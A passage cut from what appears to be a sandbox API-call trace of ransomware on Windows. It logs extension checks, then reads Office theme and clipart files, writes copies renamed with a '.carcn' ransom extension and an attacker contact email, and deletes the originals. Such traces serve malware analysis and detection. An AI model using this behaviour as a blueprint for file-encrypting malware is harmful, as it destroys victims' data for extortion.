liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.778] SetEndOfFile (hFile=0x544) returned 1 [0275.793] CloseHandle (hObject=0x544) returned 1 [0275.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0275.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.794] lstrlenW (lpString=".doc") returned 4 [0275.794] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.794] lstrlenW (lpString=".docx") returned 5 [0275.794] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.794] lstrlenW (lpString=".pdf") returned 4 [0275.794] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.794] lstrlenW (lpString=".xls") returned 4 [0275.794] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.794] lstrlenW (lpString=".xlsx") returned 5 [0275.794] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.794] lstrlenW (lpString=".ppt") returned 4 [0275.794] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.794] lstrlenW (lpString=".zip") returned 4 [0275.794] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.794] lstrlenW (lpString=".rar") returned 4 [0275.794] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.794] lstrlenW (lpString=".bz2") returned 4 [0275.794] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.794] lstrlenW (lpString=".7z") returned 3 [0275.794] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString=".dbf") returned 4 [0275.795] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString=".1cd") returned 4 [0275.795] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString=".jpg") returned 4 [0275.795] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString=".doc") returned 4 [0275.795] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.795] lstrlenW (lpString=".docx") returned 5 [0275.795] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.795] lstrlenW (lpString=".pdf") returned 4 [0275.795] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.795] lstrlenW (lpString=".xls") returned 4 [0275.795] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.795] lstrlenW (lpString=".xlsx") returned 5 [0275.795] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.795] lstrlenW (lpString=".ppt") returned 4 [0275.795] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.795] lstrlenW (lpString=".zip") returned 4 [0275.795] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.795] lstrlenW (lpString=".rar") returned 4 [0275.795] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.796] lstrlenW (lpString=".bz2") returned 4 [0275.796] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.796] lstrlenW (lpString=".7z") returned 3 [0275.796] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.796] lstrlenW (lpString=".dbf") returned 4 [0275.796] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.796] lstrlenW (lpString=".1cd") returned 4 [0275.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0275.796] lstrlenW (lpString=".jpg") returned 4 [0275.796] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.796] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0275.796] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0275.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0275.808] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=340217) returned 1 [0275.808] CloseHandle (hObject=0x43c) returned 1 [0275.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0275.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0275.809] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.809] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0275.929] GetLastError () returned 0x0 [0275.929] ReadFile (in: hFile=0x43c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x530f9, lpOverlapped=0x0) returned 1 [0276.302] WriteFile (in: hFile=0x540, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x53100, lpOverlapped=0x0) returned 1 [0276.308] ReadFile (in: hFile=0x43c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.308] WriteFile (in: hFile=0x540, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa, lpOverlapped=0x0) returned 1 [0276.308] SetEndOfFile (hFile=0x540) returned 1 [0276.313] CloseHandle (hObject=0x540) returned 1 [0276.325] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.325] SetEndOfFile (hFile=0x43c) returned 1 [0276.333] CloseHandle (hObject=0x43c) returned 1 [0276.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0278.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.353] lstrlenW (lpString=".doc") returned 4 [0278.353] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".docx") returned 5 [0278.353] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.353] lstrlenW (lpString=".pdf") returned 4 [0278.353] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".xls") returned 4 [0278.353] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".xlsx") returned 5 [0278.353] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.353] lstrlenW (lpString=".ppt") returned 4 [0278.353] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.353] lstrlenW (lpString=".zip") returned 4 [0278.353] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".rar") returned 4 [0278.353] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".bz2") returned 4 [0278.353] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.353] lstrlenW (lpString=".7z") returned 3 [0278.353] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.354] lstrlenW (lpString=".dbf") returned 4 [0278.354] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.354] lstrlenW (lpString=".1cd") returned 4 [0278.354] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.354] lstrlenW (lpString=".jpg") returned 4 [0278.354] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.354] lstrlenW (lpString=".doc") returned 4 [0278.354] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString=".docx") returned 5 [0278.354] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.354] lstrlenW (lpString=".pdf") returned 4 [0278.354] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString=".xls") returned 4 [0278.354] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.354] lstrlenW (lpString=".xlsx") returned 5 [0278.354] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.355] lstrlenW (lpString=".ppt") returned 4 [0278.355] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.355] lstrlenW (lpString=".zip") returned 4 [0278.355] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.356] lstrlenW (lpString=".rar") returned 4 [0278.356] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.356] lstrlenW (lpString=".bz2") returned 4 [0278.356] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.356] lstrlenW (lpString=".7z") returned 3 [0278.356] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.356] lstrlenW (lpString=".dbf") returned 4 [0278.356] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.356] lstrlenW (lpString=".1cd") returned 4 [0278.356] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0278.356] lstrlenW (lpString=".jpg") returned 4 [0278.356] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.356] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.356] lstrlenW (lpString="Reflection.eftx") returned 15 [0278.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.358] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=48366) returned 1 [0278.358] CloseHandle (hObject=0x540) returned 1 [0278.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0278.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.359] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.359] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.360] GetLastError () returned 0x0 [0278.360] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xbcee, lpOverlapped=0x0) returned 1 [0278.434] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0278.437] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.437] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf2, lpOverlapped=0x0) returned 1 [0278.437] SetEndOfFile (hFile=0x544) returned 1 [0278.437] CloseHandle (hObject=0x544) returned 1 [0278.437] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.437] SetEndOfFile (hFile=0x540) returned 1 [0278.442] CloseHandle (hObject=0x540) returned 1 [0278.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0278.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.444] lstrlenW (lpString=".doc") returned 4 [0278.444] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.444] lstrlenW (lpString=".docx") returned 5 [0278.444] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.444] lstrlenW (lpString=".pdf") returned 4 [0278.444] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.444] lstrlenW (lpString=".xls") returned 4 [0278.444] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.444] lstrlenW (lpString=".xlsx") returned 5 [0278.444] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.444] lstrlenW (lpString=".ppt") returned 4 [0278.444] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.445] lstrlenW (lpString=".zip") returned 4 [0278.445] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString=".rar") returned 4 [0278.445] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString=".bz2") returned 4 [0278.445] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString=".7z") returned 3 [0278.445] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.445] lstrlenW (lpString=".dbf") returned 4 [0278.445] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.445] lstrlenW (lpString=".1cd") returned 4 [0278.445] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.445] lstrlenW (lpString=".jpg") returned 4 [0278.446] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.447] lstrlenW (lpString=".doc") returned 4 [0278.447] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString=".docx") returned 5 [0278.447] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.447] lstrlenW (lpString=".pdf") returned 4 [0278.447] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString=".xls") returned 4 [0278.447] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString=".xlsx") returned 5 [0278.447] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.447] lstrlenW (lpString=".ppt") returned 4 [0278.447] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.447] lstrlenW (lpString=".zip") returned 4 [0278.447] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString=".rar") returned 4 [0278.447] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.447] lstrlenW (lpString=".bz2") returned 4 [0278.447] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.448] lstrlenW (lpString=".7z") returned 3 [0278.448] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.448] lstrlenW (lpString=".dbf") returned 4 [0278.448] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.448] lstrlenW (lpString=".1cd") returned 4 [0278.448] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0278.448] lstrlenW (lpString=".jpg") returned 4 [0278.448] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.448] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.448] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0278.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.450] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=186195) returned 1 [0278.450] CloseHandle (hObject=0x540) returned 1 [0278.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0278.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.451] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.451] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.452] GetLastError () returned 0x0 [0278.452] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d753, lpOverlapped=0x0) returned 1 [0278.479] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d760, lpOverlapped=0x0) returned 1 [0278.484] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.484] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf6, lpOverlapped=0x0) returned 1 [0278.484] SetEndOfFile (hFile=0x544) returned 1 [0278.484] CloseHandle (hObject=0x544) returned 1 [0278.484] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.484] SetEndOfFile (hFile=0x540) returned 1 [0278.496] CloseHandle (hObject=0x540) returned 1 [0278.496] 